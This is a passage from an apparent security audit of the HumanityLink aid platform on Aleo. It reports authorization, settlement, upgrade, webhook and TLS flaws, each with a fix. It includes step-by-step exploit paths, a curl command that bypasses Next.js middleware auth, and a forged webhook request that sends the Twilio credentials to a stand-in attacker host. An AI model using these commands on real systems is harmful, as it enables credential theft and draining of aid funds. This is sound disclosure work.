NGO Dashboard (`/ngo-dashboard`) is a Next.js App Router dashboard for NGO operators managing HumanityLink aid flows on Aleo. It is essentially the "frontend" client-side UI that calls directly to the backend.

The main pages of the dashboard are as follows:

- **/**: dashboard overview that shows the NGO’s operational snapshot: active beneficiaries, whitelisted merchants, total aid issued, program USDCx balance, total aid volume, pending merchant settlement amount, and converted-to-cash amount. It also renders a weekly activity bar chart and recent transactions.
- **/auth**: the login page that shows a simple HumanityLink login screen and delegates the process to [Auth0](https://auth0.com/).
- **/beneficiaries**: the beneficiary management page that lists registered beneficiaries with wallet/address, status, received/spent amounts, and activity metadata. It supports refreshing data from the backend, copying/opening addresses, bulk registration from CSV, bulk allowlisting, and exporting beneficiary data. Bulk registration is streamed via server-sent events so the UI can show per-row success/skipped/failed progress.
- **/merchants**: the merchant management page that lists registered merchants, their Aleo address, transaction count, volume, registration date, status, and whitelist state. Operators can register a new merchant, receive generated credentials, whitelist an existing merchant, remove whitelist status, copy addresses, and open addresses in the explorer. It separates merchant wallet creation from restricted-aid whitelist approval.
- **/issue**: the aid issuance page: it lets an operator select a beneficiary from the backend list or enter a manual Aleo address, then specify a USD amount to issue. For normal backend-backed issuance, it posts to `/aid/issue` with the beneficiary short ID and microcredit amount. It also includes bulk issue and bulk credits modals for batched distributions.
- **/transactions**: paginated transaction history from `/stats/all-transactions`, and the vault summary.
- **/settings**: high-privilege admin actions for the Aleo program, such as transferring admin, issuer/merchant authentication, pause/unpause, bridge/fund/sweep/send credits, and settlement config.

These dashboard routes are protected by the authentication middleware, except for `/api` and `/auth` itself. This authentication is provided by Auth0 for managing logged-in users.

Note that this unauthenticated `/api` route appears to be an issue at first glance, which we already noted in more detail in the finding: [Custodial operations lack proper authentication](#finding-H-unauthenticated-custody-routes) in addition to the other related issues.

## Findings

### Missing authorization checks in `bulk_issue_8` / `bulk_issue_15` allow an attacker to drain v9d's entire USDCx balance

- **Severity**: High
- **Location**: leo/v9bulk/src/main.leo

**Description.** Neither bulk issuance enforces any caller authorization. `bulk_issue_8` and `bulk_issue_15` assert `amount > 0u64` per recipient and then call `humanity_link_aid_v9d.aleo::issue_aid` directly.

The only auth gate in the call chain is v9d's `issue_aid`:

```rust
// leo/v9/src/main.leo:248
let is_authorized: bool = Mapping::get_or_use(authorized_issuers, caller, false);
assert(is_authorized);
```

where `caller = self.caller`. For the bulk contract to function at all in production, `humanity_link_bulk_v9d.aleo` must be added to `authorized_issuers` on v9d. From that moment forward, every call entering v9d::`issue_aid` via the bulk program sees `self.caller == humanity_link_bulk_v9d.aleo` and passes regardless of who originated the outer transaction.

The concrete exploit path looks like this:

1. Pre-conditions (always true for normal operation):
   - `humanity_link_bulk_v9d.aleo` is whitelisted in v9d's `authorized_issuers`.
   - v9d holds USDCx in its public balance (NGO funds it via the on-ramp orchestrator).
   - v9d is not paused.
2. Attacker calls `humanity_link_bulk_v9d::bulk_issue_8` with 8 attacker-controlled `Recipient` structs and amounts summing up to v9d's full public USDCx balance.
3. Each inner `issue_aid` invocation has `self.caller == bulk_v9d` so that auth passes. `transfer_public_to_private` debits v9d's public balance and produces a `Token` record owned by the attacker.

**Impact.** Anyone can drain v9d's entire public USDCx balance in a single transaction.

**Recommendation.** We recommend mirroring v9d's `authorized_issuers` design in the bulk program:

1. Add a mapping `authorized_issuers: address => bool` and an admin-gated `authorize_issuer(issuer: address)` function.
2. In each bulk function body, capture `let caller: address = self.caller;` after the existing `amount > 0` asserts.
3. Prepend the auth check to the `final` block, before the chained `fN.run()` calls:
   ```rust
   return (..., final {
       let is_authorized: bool = Mapping::get_or_use(authorized_issuers, caller, false);
       assert(is_authorized);
       f0.run(); f1.run(); /* ... */
   });
   ```

### Any whitelisted merchant can spend any beneficiary's funds

- **Severity**: High
- **Location**: backend/src/services/offrampService.js, backend/src/routes/payments.js, backend/src/routes/offramp.js, backend/src/db/repositories/beneficiaryRepo.js

**Description.** All three beneficiary spend routes, `POST /payments`, `POST /payments/offramp` (`backend/src/routes/payments.js` lines 13-85), and `POST /offramp` (`backend/src/routes/offramp.js` lines 14-41), funnel into the same `processOfframp({ shortId, amount, merchantId, deviceToken })`. The only authorization performed before spending is merchant-side (`backend/src/services/offrampService.js` lines 44-55):

```js
const merchant = await merchantRepo.verifyMerchant(merchantId, deviceToken); // merchant auth
if (!merchant) throw createError("Invalid merchant credentials", 401);
// ... whitelist check ...
const beneficiary = await beneficiaryRepo.getByShortId(shortId);             // victim chosen by attacker
```

`getByShortId` returns the beneficiary's custodial `private_key` (`backend/src/db/repositories/beneficiaryRepo.js` lines 73-80), and the backend then signs the on-chain `spend` with the beneficiary's key, sending funds to the merchant's address (`backend/src/services/offrampService.js` lines 120-126):

```js
const execResult = await executeSpend({
  privateKey:      beneficiary.private_key,   // the VICTIM's key
  tokenPlaintext, merkleProof,
  merchantAddress: merchant.aleo_address,     // funds go to the MERCHANT
  amount:          onChainAmount,
});
```

There is no beneficiary-side authorization: no PIN, session, signed challenge, one-time QR, or WhatsApp confirmation bound to the specific `{shortId, merchantAddress, amount}`. The only actor-specific secret required to spend a beneficiary's private USDCx is the merchant's own device token. The beneficiary, i.e., the party whose funds move, never consents to (or is even notified of) the transaction.

The merchant triggers the spend via the HTTP call, and the backend produces the signature using the beneficiary's stored key so that, on chain, the transaction is a valid "beneficiary-authorized" `spend`. In particular, the Aleo program cannot distinguish a legitimate purchase from a merchant draining a stranger as both are correctly-signed beneficiary spends.

The concrete exploit path looks like this:

1. A malicious or compromised merchant authenticates with its legitimate `merchantId` + `deviceToken`.
2. The merchant enumerates victim short IDs. This is trivial since beneficiary short IDs are `HL-NNNNNN`, i.e., a dense zero-padded sequential counter starting at `HL-000001` (`backend/src/db/repositories/beneficiaryRepo.js` lines 28-34).
3. For each victim: `POST /payments { shortId: <victim>, amount: <huge>, merchantId, deviceToken }`. The backend will then act as a balance-disclosure oracle. More specifically, the backend leaks each victim's exact balance via `Insufficient balance. Available: $X` (`backend/src/services/offrampService.js` lines 79-85) so that the merchant can just resubmit the call with `amount = X`.
4. Backend loads the victim's key, scans their records, signs `spend` so that the victim's USDCx lands in the merchant's vault, ready to off-ramp to cash via the normal merchant flow.

**Impact.** A single whitelisted merchant can drain every beneficiary's balance, and each whitelisted merchant is a single point of complete compromise for all beneficiary funds.

**Recommendation.** Require a fresh, single-use, beneficiary-issued authorization, bound to `{beneficiaryId, merchantAddress, amount, nonce, expiry}`, verified and atomically consumed before the beneficiary key is loaded.
The merchant may only initiate a request. The approval that unlocks the key must originate from the beneficiary, and must pin the exact amount and merchant (so a `$5`-to-A approval can't be replayed as `$500`-to-B).
For example, one could require a one-time WhatsApp confirmation (backend creates a pending approval, messages the beneficiary "Approve $X to {merchant}? code ####", signs only on matching reply).
Verify and consume the approval inside the existing `withLock(shortId, …)` so concurrent requests can't redeem one approval twice. Use `nonce` as an idempotency key against replay. Move the `private_key` fetch to after authorization passes.

### Off-ramp settles the full merchant vault against an unbound, attacker-influenceable payout

- **Severity**: High
- **Location**: backend-on-off-ramp/backend/src/sweep_and_offramp.mjs

**Description.** The off-ramp sweep computes each merchant's payout from an amount it observes downstream, but settles the merchant's full original `merchant_vault` balance regardless of how much was actually paid.

After burning and bridging, the sweep measures how much arrived with a balance-delta check rather than by binding to its own burn or CCTP message: `waitForUsdcOnEthereum` accepts any increase over the baseline (line 255) and `waitForUsdcOnStellar` returns the observed delta (lines 402-404). The resume and override paths feed the same unbound amount: `--amount` (line 648), `--eth-amount` / `--resume-eth` (lines 591-593), and `--stellar-amount` (lines 612-614) are operator-supplied and never checked against the vault total. `runMoneyGramForAll` then pays each merchant a pro-rata share of that observed amount as `payoutAmt` (lines 741-752).

Settlement, however, uses the original snapshot amount. `settleMerchants` passes each merchant's full `amount` to `settle_merchant` (line 420), which decrements `merchant_vault` by that amount on-chain (`leo/v9/src/main.leo` lines 209-221). So when the observed or supplied amount is smaller than the vault total, the merchant is paid less than owed while their on-chain balance is cleared in full.

**Impact.** A merchant is underpaid while their `merchant_vault` entry is fully settled, so the unpaid remainder is lost to them and no later sweep will pay it. Because the arrival check accepts any balance increase as "the bridge delivered", an external party can send a small dust transfer to the watched Ethereum or Stellar hot wallet during the polling window. The check returns that dust as the observed amount, before the real bridged funds land, so the entire run's payout is computed from the dust while settlement still clears each merchant's full vault balance. This affects every pending merchant in the run at once and costs the attacker only the dust, against a far larger swept value.

Two things bound the impact. First, settlement is gated on payout success: `payoutThenSettle` settles only merchants whose payout did not error (`payoutResults.filter(r => !r.error)`, lines 515-516), so a per-merchant dust share below the anchor's minimum withdrawal fails and that merchant is not settled. The attacker therefore has to size the dust to roughly the anchor minimum times the number of merchants for the over-settle to land, not a fraction of a cent. Second, the real bridged USDC still arrives in the hot wallet after the check returned, so it is stranded and recoverable by the operator rather than destroyed; but the on-chain ledger is left wrong (merchants marked settled but underpaid) and recovery requires manual reconciliation and re-crediting. The result is a conservation break across a whole batch that an external attacker can trigger cheaply.

**Recommendation.** Bind the received amount to the sweep by verifying the specific bridge or CCTP transaction and amount (or the IRIS message) rather than accepting a balance delta, which removes the dust trigger entirely. Compute payouts in integer micro-USDC so the per-merchant shares sum exactly to the verified total, and settle each merchant for the exact amount actually paid, leaving any remainder in `merchant_vault` for the next run rather than clearing the full entry. On resume, require the stored sweep amount instead of an operator-typed value.

### Custodial operations lack proper authentication

- **Severity**: High
- **Location**: backend/src/app.js, backend/src/routes/admin.js, backend/src/services/offrampService.js, backend/src/routes/merchants.js, backend/src/routes/beneficiaries.js, ngo-dashboard/src/middleware.ts, ngo-dashboard/src/app/api/onramp-url/route.ts

**Description.** The `backend/` Express app is a custodial key vault: the `beneficiaries` and `merchants` Postgres tables store plaintext Aleo private keys (`backend/src/db/repositories/beneficiaryRepo.js` lines 74-80, `backend/src/db/repositories/merchantRepo.js` lines 82-89), and the program-admin key `NGO_PRIVATE_KEY` is held in an env var. The server signs Aleo transactions on behalf of the NGO, beneficiaries, and merchants.

No authentication layer guards the routes that trigger this signing. `backend/src/app.js` lines 49-51 install three global middlewares (`cors()`, `express.json()`, `express.urlencoded()`) none of which authenticate the caller. Every router is then mounted with no auth in front of it.

As a result, most routes have no caller authentication at all: `/admin/*`, `/aid/*`, `POST /merchants`, `POST /merchants/:id/regenerate-token`, `GET /beneficiaries`, `GET /merchants`. The spend routes `/payments` and `/offramp` are a partial exception: `processOfframp` authenticates the caller as a merchant via `verifyMerchant(merchantId, deviceToken)`, returning `401 Invalid merchant credentials` on failure (`backend/src/services/offrampService.js` lines 44-45). However, that gate is still ineffective against an attacker because the merchant credential is itself anonymously obtainable since `POST /merchants` hands a fresh `device_token` to any caller.

The only thing resembling an admin gate, `checkNgoKey`, is a server-configuration check, not an authorization check (`backend/src/routes/admin.js` lines 59-64):

```js
const checkNgoKey = (req, res, next) => {
  if (!NGO_PRIVATE_KEY) {
    return res.status(500).json({ success: false, error: "NGO_PRIVATE_KEY not configured" });
  }
  next();   // never inspects req — no token, header, session, or identity
};
```

It ensures the server has a key, but it does not check whether the caller is allowed to use that key.

Additionally, the `ngo-dashboard` Auth0 middleware does not mitigate this backend exposure. The dashboard explicitly excludes both `/auth` and `/api` from middleware authentication (`ngo-dashboard/src/middleware.ts`):

```ts
if (pathname.startsWith('/auth') || pathname.startsWith('/api')) {
  return NextResponse.next();
}
```

This means the dashboard’s local Next.js API routes are intentionally unauthenticated. Most of these routes are low-impact mock or health endpoints, but `/api/onramp-url` is a server-side proxy that calls `ONRAMP_API_URL` and attaches `ONRAMP_API_SECRET` when configured. Any unauthenticated caller can therefore cause the dashboard server to invoke the onramp provider using its server-side secret.

The dashboard also pins `next` to `14.0.4`, which falls in the CVE-2025-29927 affected range for Next.js 14.x before `14.2.25`. The dashboard uses middleware as the page-level Auth0 gate: unauthenticated users are redirected to `/auth`, while authenticated users are allowed through.

The CVE-2025-29927 allows authorization checks implemented in Next.js middleware to be bypassed by abusing the internal `x-middleware-subrequest` header. In this deployment shape, a request such as:

```bash
curl -i 'http://localhost:3000/settings' \
  -H 'x-middleware-subrequest: src/middleware'
```

can reach a dashboard page that should have been protected by Auth0 middleware. This does not create an Auth0 session and is not the primary key-use vulnerability by itself. However, it removes the dashboard as any meaningful compensating control: unauthenticated callers can access protected dashboard UI, discover client-exposed backend configuration such as `NEXT_PUBLIC_BACKEND_URL`, and invoke the same unauthenticated backend signing routes either through the UI or directly.

**Impact.** Unauthenticated backend routes are effectively the equivalent of an attacker possessing every custodial key the backend holds. As a result, an attacker can drain beneficiary funds, seize the Leo program admin, whitelist themselves, and sweep the pool.

The unauthenticated dashboard `/api` routes also expose server-side dashboard functionality without a session. In particular, `/api/onramp-url` can be invoked by unauthenticated callers to make the dashboard server call the configured onramp provider using its server-side secret.

The Next.js middleware bypass increases practical exploitability by allowing unauthenticated access to dashboard pages that expose the operational workflows for those backend routes. But the core impact remains the backend’s missing authentication: even if the dashboard were fully patched, direct calls to the backend would still be enough to trigger custodial signing.

**Recommendation.**

Add authentication middleware before any backend router that can cause signing or key use. The backend must validate caller identity and authorization itself; do not rely on the dashboard, CORS, frontend routing, or Next.js middleware as the enforcement boundary.

Add route tests asserting that unauthenticated requests to `/payments`, `/offramp`, `/aid/*`, `/admin/*`, `/merchants/:id/whitelist`, and bulk-credits return 401/403 and never call `aleoExecuteService`.

Assert `GET /beneficiaries` and `GET /merchants` return 401 without a valid session.

Protect dashboard API routes as well. Do not globally bypass authentication for `/api`; instead, explicitly allow only routes that are intentionally public, such as `/api/health`. Require a valid Auth0 session or backend-verifiable token for `/api/onramp-url` and any future dashboard API route that uses server-side secrets or triggers external actions.

Upgrade `ngo-dashboard` to a patched Next.js version, at minimum `14.2.25` for the current major line, and strip or block external requests containing `x-middleware-subrequest` before they reach the Next.js server.

Move sensitive dashboard actions behind backend-enforced Auth0 JWT validation with audience, issuer, expiry, and role checks. Prefer server-side dashboard API routes that attach a backend-verifiable token over client-side calls that directly use `NEXT_PUBLIC_BACKEND_URL`.

Furthermore, consider adding per-action, per-resource authorization after authentication.

### Constructors don't gate upgrades, allowing anyone to upgrade the Leo programs

- **Severity**: High
- **Location**: leo/v9/src/main.leo, leo/v9bulk/src/main.leo

**Description.** In Aleo's upgradability model the `@custom constructor` is the sole upgrade gate: it runs on every edition (deploy and every upgrade), and an upgrade is accepted iff the constructor does not abort. snarkVM forces the constructor to be byte-identical across editions, so this gate must be correct at edition 0 and is unfixable after deployment.

Neither program's constructor asserts anything about `self.program_owner`, and neither branches on `self.edition`. Since nothing in either constructor can abort, any account can publish an upgrade of these programs.

v9d:

```rust
// leo/v9/src/main.leo:80-86
@custom
constructor() {
    Mapping::set(admin_address, 0u8, self.program_owner);
    Mapping::set(flags, 0u8, false);
    Mapping::set(clocks, 0u8, 17280u32);   // ~24h default
    Mapping::set(limits, 0u8, 6_000_000u64); // $6.00 minimum merchant offramp
}
```

v9bulk:

```rust
// leo/v9bulk/src/main.leo:30-33
@custom
constructor() {
    admin = self.program_owner;
}
```

**Impact.** An attacker can submit an upgrade to `humanity_link_aid_v9d.aleo`, and gain control over the entire aid system. In particular, they can sweep the vault to drain all funds from the pool. The same vulnerability exists independently on `humanity_link_bulk_v9d.aleo`.

**Secondary issue in v9d: init-once mappings re-initialized on every edition.** Setting the upgrade authorization aside, all four mappings the v9d constructor writes are mutated at runtime, so each is init-once and must only be written at edition 0. Writing them unconditionally means a legitimate upgrade silently wipes live state:

| Mapping | Runtime mutator | Effect of unguarded re-init on upgrade |
|---|---|---|
| `admin_address[0u8]` | `transfer_admin` | admin reverts to `self.program_owner`, undoing any rotation |
| `flags[0u8]` | `pause` / `unpause` | a paused contract silently un-pauses |
| `clocks[0u8]` | `set_merch_offramp_period` | cooldown reset to 17,280 |
| `limits[0u8]` | `set_min_merch_offramp` | min off-ramp reset to 6,000,000 |

**Recommendation.** For v9d, confine init-once writes to edition 0, and gate the upgrade for all subsequent editions of the program.

```rust
@custom
constructor() {
    if self.edition == 0u16 {
        Mapping::set(admin_address, 0u8, self.program_owner);
        Mapping::set(flags, 0u8, false);
        Mapping::set(clocks, 0u8, 17280u32);
        Mapping::set(limits, 0u8, 6_000_000u64);
    } else {
        // only the current admin may upgrade
        let current_admin: address = Mapping::get(admin_address, 0u8);
        assert_eq(self.program_owner, current_admin);
    }
}
```

For v9bulk, gate the upgrade, too.

```rust
@custom
constructor() {
    if self.edition == 0u16 {
        admin = self.program_owner;
    } else {
        assert_eq(self.program_owner, admin);
    }
}
```

### Value-moving flows do not handle async operation results safely or recoverably

- **Severity**: High
- **Location**: backend/src/services/aleoExecuteService.js, backend/src/services/offrampService.js, backend/src/services/bridgeService.js, backend/src/services/tokenJoinService.js, backend-on-off-ramp/backend/src/sweep_and_offramp.mjs, backend-on-off-ramp/backend/src/Onramporchestrator.js

**Description.** The backend and the off-ramp worker run a chain of asynchronous, mostly irreversible steps to move value: a Leo transition is proved and broadcast through a delegated prover, an on-chain confirmation is polled, USDC is bridged across Ethereum and Stellar, a MoneyGram payout is sent, and a merchant's `merchant_vault` entry is settled. In most of these flows the step that waits for the result is mishandled, and the same failure modes appear in both `backend/` and `backend-on-off-ramp/`.

The clearest single example is the shared executor, which returns success even when it could not confirm the transaction. `executeTransition` polls for confirmation for up to 120 seconds, and when the poll runs out `waitForConfirmation` returns `null` after a 40-attempt, 3-second poll (`backend/src/services/aleoExecuteService.js` lines 334 and 365):

```js
// backend/src/services/aleoExecuteService.js lines 271-282
if (confirmed === null) {
  return {
    success: true,
    txId,
    status: "unconfirmed",
    warning: "Transaction broadcast but confirmation timed out",
  };
}
```

Across the flows the mishandling falls into a few distinct cases, and several flows show more than one of them:

- **Treating an unknown or timed-out result as success.** Besides reporting success on the timeout above, `executeTransition` never reads the prover's `broadcast_result` (it takes the txId from a fallback chain at line 264), returns `success: true, status: "accepted"` when the response carries no real transaction id, since a failed, rejected, skipped, or malformed broadcast leaves `transaction.id` absent and the fallback then yields a non-`at1` value that skips confirmation (lines 306-313), and treats any confirmed transaction that is not a fee or a rejection as accepted rather than checking for a positive accepted status. The off-ramp worker's own executor repeats that accept-by-default check (`backend-on-off-ramp/backend/src/sweep_and_offramp.mjs` line 206).

- **Swallowing an error and continuing as if it had succeeded.** `settleMerchants` calls a confirm-or-throw executor but discards its exception (`sweep_and_offramp.mjs` line 422), so a failed `settle_merchant` is logged and the run still prints that all merchants settled. The post-spend transaction log sits inside the same swallowing catch (`backend/src/services/offrampService.js` lines 159-161), so it can never act as a guard. The Stellar baseline read falls back to `'0'` when its own read fails (`sweep_and_offramp.mjs` line 685). And `getMerchantsWithDetails` returns every merchant with `db_id: null` and no filter when its fetch fails (line 726), the opposite of the success path, which drops merchants it cannot identify (line 723).

- **Mis-recording whether the payment actually happened.** In `pollAndSendStellar` the Stellar payment is submitted, so the money has already left, and only then does a best-effort status fetch read `ref.external_transaction_id`; if `finalData.transaction` is missing this throws, the caller records the merchant as failed, and the merchant is not settled and gets paid again on the next run (the submit is `sweep_and_offramp.mjs` line 489, the throwing fetch lines 496-498). In the other direction, it settles a merchant on the anchor's `completed` status without confirming a Stellar payment of its own for this run (line 500). The anchor and its `MONEYGRAM_DOMAIN` config are trusted here, so the issue is not a dishonest response but that `completed` is not bound to a payment this run made: a stale or mismatched SEP-24 session, most easily on the resume path, can clear an obligation that was never funded this cycle.

- **Repeating an irreversible step on retry, with nothing written beforehand.** Nothing is recorded before the irreversible step, so a retry just runs it again. The instances:
  - *Beneficiary spend:* the payment and off-ramp routes carry no idempotency key (`offrampService.js` line 38). The only guard is `withLock` (line 67), which serializes concurrent requests per beneficiary but does nothing for a retry that arrives after the first finished and released the lock. So the retry re-reads the balance, now updated by the first spend, and signs a second valid spend against the leftover change (lines 77, 120), paying the merchant twice.
  - *Bulk issuance:* the loop re-broadcasts on an ambiguous failure (`backend/src/services/aleoExecuteService.js` line 421), where the first attempt may already have landed.
  - *Off-ramp settlement:* the worker pays each merchant (`sweep_and_offramp.mjs` line 513) before settling (line 520) with no per-merchant record in between, so a crash in the gap re-pays on the next run.
  - *Ethereum burn:* `burnOnEthereum` stops on an error but is not idempotent; the burn is already on-chain (`sweep_and_offramp.mjs` line 323), so a re-run burns a second time. The script has a manual resume mechanism for exactly this step, `--resume-eth <ethTxHash>` lets an operator skip the burn and reuse an already-submitted burn transaction, but the automatic path in `main()` (line 689) has no equivalent: it always calls `burnOnEthereum` fresh, with no check for whether a burn for this sweep already occurred. So a crash after the burn followed by an automatic re-run double-burns, bounded only by the wallet's available balance.
  - *Admin bridge:* `bridgeUsdcToProgram` (`backend/src/services/bridgeService.js`, called from `backend/src/routes/admin.js` line 268) calls `depositToRemote` directly (line 90) with no idempotency key. 

- **Acting on a response without checking it matches the request.** The confirmed transaction is never compared against the program, function, or inputs that were requested. The bridge-arrival checks accept the first balance increase as proof that the bridge delivered, with no link to the actual transfer (`waitForUsdcOnStellar` lines 402-405, and the `waitForUsdcOnEthereum` delta check at lines 254-260). The token-join path reads `broadcast_result` and waits for confirmation (`backend/src/services/tokenJoinService.js` lines 218-226), but then takes the first output of the confirmed transaction (lines 230-232) as the joined record without checking it came from `stablecoin::join` or that its amount equals the two inputs.

- **Collapsing the success flag straight into stored state.** `issueAidService` (the insert at line 62), `offrampService` (line 148, where the `execResult.status === 'accepted'` check at line 152 only gates a stats update after the row is already written), `merchantOfframpService` (line 178), and the bulk-issuance SSE handler in `aid.js` (line 153) all write `status: "confirmed"` on any success, and the off-ramp path returns "Pay $… cash to beneficiary" without checking whether `execResult.status` is `"unconfirmed"` rather than `"accepted"`.

- **Advancing recovery state past an operation that did not complete.** The on-ramp orchestrator persists only a single block cursor and advances it whether or not each Transfer finished both of its stages. `handleTransfer` neither returns a status nor rethrows on failure (`backend-on-off-ramp/backend/src/Onramporchestrator.js` lines 165-190), and the startup replay saves `lastProcessedBlock` to the current block unconditionally after replaying (lines 274-277), so a Transfer whose `vault.bridge` failed (the USDC stays in the vault, never retried) or whose `registerMint` failed after a confirmed bridge (the deposit reached xReserve but no USDCx mints on Aleo) is left past the cursor and never retried. The on-chain processed flag then makes the second case unrecoverable: `handleTransfer` returns early on `processedTransfers(key) == true` (lines 157-163), so even a manual rewind skips past the missing mint. `processedTransfers` proves the bridge happened, not that the mint was registered, and the cursor collapses the two stages into one.

**Impact.** These flows move real value across Aleo, Ethereum, Stellar, and MoneyGram, so the failures show up as lost or duplicated funds and as on-chain books that disagree with what was actually paid. A timeout or a transient prover or anchor failure can:

- record an unconfirmed or rejected transaction as `confirmed` and tell a merchant to hand over cash for USDCx that never moved;
- pay a beneficiary or merchant twice after an ambiguous response, because no key ties the retry to the first attempt;
- clear a `merchant_vault` entry while the matching payout failed or was swallowed;
- act on an unverified received amount, taking a smaller-than-expected delivery or an unrelated transfer as the bridge result (the full-vault over-settlement that follows is its own finding);
- on the on-ramp, leave an inbound deposit bridged but never minted, or never bridged at all, after the recovery cursor has advanced past it, stranding the funds until an operator rebuilds the transaction by hand.

**Recommendation.**

- **Route every value-moving operation through one durable record.** Write it before the irreversible step and update it only as the result becomes known, so a retry looks the record up and returns the stored result instead of running again.
  - Key it on the logical request (an idempotency key, or the SEP-24 session id for payouts), with a unique constraint so each request maps to exactly one record.
  - Carry the program and function (or the anchor), the amount, asset, and recipient, and the resulting transaction or settlement hash.
  - Move its status through created → submitted → confirmed → failed.
  - Keep it on-chain where the action is a contract call the system controls (as the EVM vault does with `processedTransfers`), and in an off-chain table for the off-ramp and spend flows. (`Onramporchestrator.js` already keeps this on-chain, but its restart cursor at line 274 advances past events whose bridge or mint never completed, so it needs the same per-event record.)

- **Treat a result as successful only when it can be shown to be.**
  - Verify each result against its authoritative source and against the request, rather than inferring success from the absence of a rejection: for Aleo, require `broadcast_result.status === "Accepted"` plus an on-chain confirmation whose program, function, and public inputs match; treat the chain as authoritative for the Aleo, Ethereum, and Stellar steps (including the Stellar payment itself), and MoneyGram's confirmation, bound to that Stellar payment, for the off-chain cash hand-off.
  - Treat a timeout as unknown, not success or failure; reconcile the stored transaction until it is final rather than resubmitting or marking a paid merchant failed.
  - Hold downstream effects (writing `confirmed`, updating stats, telling a merchant to pay cash, calling `settle_merchant`, sweeping the vault) until the result is final, and settle only the amount actually paid.

- **Stop value-moving steps on any error, but never let a logging or display failure undo a real outcome.**
  - Value-moving, authorization, and obligation-clearing steps must stop on any error or uncertainty and not report success or fire downstream effects. Also, they should surface confirmation and settlement errors instead of discarding them, leaving a record an operator can act on.
  - Display and bookkeeping steps (the transaction log at `offrampService.js` 159-161, stats counters, notifications, and the reference-number lookup at `sweep_and_offramp.mjs` 496-498) must be allowed to fail without flipping a value outcome that's already known. The reference fetch is the clearest case: the payment already succeeded and its hash is in hand (line 494), so a failed lookup must not mark the merchant failed.
  - Keep that display log separate from the authoritative record, so a failed log write can't affect correctness or idempotency.

### WhatsApp webhook lacks `X-Twilio-Signature` validation, leaking the Twilio Auth Token via attacker-controlled media URLs

- **Severity**: High
- **Location**: backend/src/app.js, backend/src/services/voiceService.js, backend/src/services/gcsService.js, backend/src/services/botService.js

**Description.** [Twilio signs every inbound webhook](https://www.twilio.com/docs/usage/security#validating-requests) with an `X-Twilio-Signature` HTTP header (HMAC-SHA1 over `(full URL + sorted form params)` keyed by the account's Auth Token). Validating that header is the only thing that proves a `POST /webhook/whatsapp` actually came from Twilio rather than from an arbitrary internet client. The body itself is just user-controlled strings.

Instead of validating the Twilio header, the current handler just reads the body verbatim (`backend/src/app.js` lines 96-131):

```js
app.post("/webhook/whatsapp", async (req, res) => {
  res.status(200).send("");                          // ack immediately

  const from     = req.body.From;                    // attacker-controlled
  const body     = req.body.Body || "";              // attacker-controlled
  const numMedia = parseInt(req.body.NumMedia || "0", 10);
  const media = numMedia > 0 ? {
    url:         req.body.MediaUrl0,                 // attacker-controlled
    contentType: req.body.MediaContentType0 || "",   // attacker-controlled
  } : null;

  const reply = await handleMessage(from, body, media, { messageSid: req.body.MessageSid });
  ...
});
```

The webhook URL is on the public internet by necessity (Twilio's cloud has to reach it), but nothing about the route's contents binds the request to Twilio. Anyone on the internet can POST to it.

This becomes a direct credential-leak primitive once the media path is considered. Real Twilio media URLs are `https://<subdomain>.twilio.com/...` and require HTTP Basic Auth with `Account_SID:Auth_Token` to download. `voiceService.downloadTwilioMedia` honours that by attaching the header unconditionally to whatever URL it is given (`backend/src/services/voiceService.js` lines 29-48):

```js
async function downloadTwilioMedia(mediaUrl) {
  const headers = {};
  if (TWILIO_ACCOUNT_SID && TWILIO_AUTH_TOKEN) {
    const creds = Buffer.from(`${TWILIO_ACCOUNT_SID}:${TWILIO_AUTH_TOKEN}`).toString("base64");
    headers["Authorization"] = `Basic ${creds}`;
  }
  const res = await fetch(mediaUrl, { headers });
  ...
}
```

In particular, there is no `mediaUrl === "<subdomain>.twilio.com"` check. The attack is:

```bash
curl -X POST https://<backend>/webhook/whatsapp \
  -d "From=whatsapp:%2B1000000000" \
  -d "NumMedia=1" \
  -d "MediaContentType0=audio/ogg" \
  -d "MediaUrl0=https://malicious.example-server/sink"
```

The backend then issues `GET https://malicious.example-server/sink` with `Authorization: Basic <base64(SID:AUTH_TOKEN)>`, where `https://malicious.example-server/sink` is an attacker-controlled server. The attacker logs the header and now holds the Twilio Auth Token. With it they can send WhatsApp messages from the NGO's official number to every beneficiary (allowing phishing), read full inbound/outbound message history, rotate the webhook URL to their own host to intercept all future traffic, etc.

Notice that the presence of an allowlist of approved WhatsApp numbers does not prevent any of this. `handleMessageInternal` runs voice-note transcription at `backend/src/services/botService.js` line 316 *before* it reaches the allowlist gate at line 382, so the malicious `MediaUrl0` is fetched (with the Auth Token attached) regardless of whether `From` corresponds to an allowlisted phone, i.e., the attacker does not need to know any real phone number. Even if the allowlist gate were moved earlier in the handler, no signature check means an attacker only needs to know one allowlisted number to simply set `From=whatsapp:<allowlisted-number>` and pass through the check, since the body is attacker-controlled strings.

**Impact.** The leaked secret (Twilio Auth Token) grants full impersonation of the NGO's WhatsApp number so that the aid flow's entire user-facing channel is compromised. This is exploitable by any unauthenticated internet host.

**Recommendation.**

Validate the `X-Twilio-Signature` on the route as described [here](https://www.twilio.com/docs/usage/tutorials/how-to-secure-your-express-app-by-validating-incoming-twilio-requests). In addition, consider restricting media URLs to Twilio-owned hosts (e.g., only allow media URLs of the form `https://<subdomain>.twilio.com/`).

### Database TLS certificate verification is disabled for managed connections

- **Severity**: Medium
- **Location**: backend/src/db/pool.js

**Description.** When the backend targets a managed cloud Postgres (the connection string contains `supabase`, `pooler`, or `neon`), `pool.js` enables TLS but disables peer verification with `ssl: { rejectUnauthorized: false }` (line 27). TLS still encrypts the channel, but it no longer checks that the server on the other end is the real database, so the backend completes the handshake with whoever answers and accepts any certificate. `pool.js` sets this flag only on the managed-DB branch. The other two branches never set it: the Cloud SQL branch connects over a local unix socket, so there is no network TLS to verify, and the default (local) branch sets no `ssl` option at all.

This exploit assumes two things: a connection string matching one of the hardcoded managed providers (`supabase`, `neon`, or `pooler`), which may not be the actual deployment, and an attacker with access to the network path between the server and the database.

**Impact.** An attacker who can place themselves on the network path between the backend and the managed database (DNS or BGP hijack of the database hostname, a compromised network hop, or a malicious egress proxy) can man-in-the-middle the connection. Because the backend accepts any certificate, the attacker terminates the backend's TLS and relays to the real database, reading and rewriting every query and every row. The database holds the custodial Aleo private and view keys in plaintext along with merchant and beneficiary payout data, so a reading attacker harvests signing keys (enabling fund theft) and beneficiary records and view keys (a beneficiary-privacy break), and a writing attacker can redirect payout destinations in flight. The impact if the position is achieved is severe.

**Recommendation.** Replace the provider-specific branching (`if supabase || neon || pooler` then `rejectUnauthorized: false`) with verification that is always on and a CA supplied by the environment only where one is needed:

```js
ssl: {
  rejectUnauthorized: true,
